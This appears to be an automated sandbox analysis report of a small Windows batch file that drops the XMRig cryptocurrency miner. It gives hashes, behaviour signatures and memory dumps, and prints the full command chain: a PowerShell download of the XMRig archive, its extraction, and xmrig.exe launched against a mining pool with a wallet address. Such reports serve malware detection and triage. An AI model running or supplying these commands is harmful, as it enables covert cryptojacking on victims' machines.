Analysis

  • max time kernel
    1794s
  • max time network
    1791s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 00:49

General

  • Target

    tesy - Copy (9).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4496
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3620

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    8374dd1fde351b22eb56872e925bc9c5

    SHA1

    8c8081bf740e8d4fd38bb8fb603a673e579f39bc

    SHA256

    c784c50412f3785e2baac8eb438e8753f8ff50896f1be8947d478ae3069c2a52

    SHA512

    bd1567cc3f7422101f5edab5dc3e47db780d64cb07b9adcc7165333cad71f4082f766b262055565626a7e04b0e8fe84bcf9a1e2c6e264f55b196fd48bce0f125

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ppldpntl.gxp.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.1MB

    MD5

    d3ffac18cfd9230c6d0214c4f932a972

    SHA1

    32ce417592c42f2bafddc9c0452545c3a5051270

    SHA256

    dbe55413fcc9660b6d3cb55ef570e401f925e2eedf7d36f339e862d00d2568ea

    SHA512

    c6d26c46bdcd9ccebfe711f3a6301aebf87c414148bf36bdca71d70e519fc1cee647f024959560ef9f50ba92f14fe65de9d05907569337ae82a724b585981be4

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    3.1MB

    MD5

    3be8d4467e62c5b1735a2750eba04bbc

    SHA1

    c565cad3c114f3f3d14d9996c794c9ab77112b8a

    SHA256

    52d146591e3d744f63dda5c3a6773cfb05ed3eac8e0bd4958bfc1457d439b52c

    SHA512

    40ecb1e48a81cec183a5c616fab6b1e25c8b278ecf9a13b58cf8233ea39c227df38927a13e0ea4fa90275752bc7a4361ff0294757808dc77e107854deb0d3002

  • memory/3620-143-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-168-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-189-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-188-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-187-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-186-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-185-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-184-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-183-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-148-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-182-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-181-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-180-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-179-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-178-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-177-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-121-0x000001ADECAD0000-0x000001ADECAF0000-memory.dmp

    Filesize

    128KB

  • memory/3620-176-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-123-0x000001ADECB10000-0x000001ADECB30000-memory.dmp

    Filesize

    128KB

  • memory/3620-122-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-124-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-125-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-146-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-127-0x000001AE7F510000-0x000001AE7F530000-memory.dmp

    Filesize

    128KB

  • memory/3620-128-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-129-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-130-0x000001ADECB30000-0x000001ADECB50000-memory.dmp

    Filesize

    128KB

  • memory/3620-131-0x000001AE7F510000-0x000001AE7F530000-memory.dmp

    Filesize

    128KB

  • memory/3620-132-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-133-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-134-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-135-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-136-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-137-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-138-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-139-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-140-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-141-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-142-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-175-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-144-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-145-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-126-0x000001ADECB30000-0x000001ADECB50000-memory.dmp

    Filesize

    128KB

  • memory/3620-174-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-173-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-149-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-150-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-151-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-152-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-153-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-154-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-155-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-156-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-157-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-158-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-159-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-160-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-161-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-162-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-163-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-164-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-165-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-166-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-167-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-147-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-169-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-170-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-171-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/3620-172-0x00007FF6A1020000-0x00007FF6A1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-42-0x0000029E543E0000-0x0000029E543F0000-memory.dmp

    Filesize

    64KB

  • memory/4496-38-0x00007FFCE3F50000-0x00007FFCE493C000-memory.dmp

    Filesize

    9.9MB

  • memory/4496-41-0x0000029E543E0000-0x0000029E543F0000-memory.dmp

    Filesize

    64KB

  • memory/4496-67-0x0000029E543E0000-0x0000029E543F0000-memory.dmp

    Filesize

    64KB

  • memory/4496-118-0x00007FFCE3F50000-0x00007FFCE493C000-memory.dmp

    Filesize

    9.9MB

  • memory/4496-81-0x0000029E6CA70000-0x0000029E6CA82000-memory.dmp

    Filesize

    72KB

  • memory/4496-94-0x0000029E545E0000-0x0000029E545EA000-memory.dmp

    Filesize

    40KB

  • memory/4592-9-0x0000026BB4600000-0x0000026BB4610000-memory.dmp

    Filesize

    64KB

  • memory/4592-8-0x0000026BB4600000-0x0000026BB4610000-memory.dmp

    Filesize

    64KB

  • memory/4592-5-0x00007FFCD4100000-0x00007FFCD4AEC000-memory.dmp

    Filesize

    9.9MB

  • memory/4592-4-0x0000026BB45D0000-0x0000026BB45F2000-memory.dmp

    Filesize

    136KB

  • memory/4592-26-0x0000026BB4600000-0x0000026BB4610000-memory.dmp

    Filesize

    64KB

  • memory/4592-10-0x0000026BCC920000-0x0000026BCC996000-memory.dmp

    Filesize

    472KB

  • memory/4592-34-0x00007FFCD4100000-0x00007FFCD4AEC000-memory.dmp

    Filesize

    9.9MB

  • memory/4592-29-0x0000026BB4600000-0x0000026BB4610000-memory.dmp

    Filesize

    64KB

  • memory/4592-28-0x0000026BB4600000-0x0000026BB4610000-memory.dmp

    Filesize

    64KB

  • memory/4592-27-0x00007FFCD4100000-0x00007FFCD4AEC000-memory.dmp

    Filesize

    9.9MB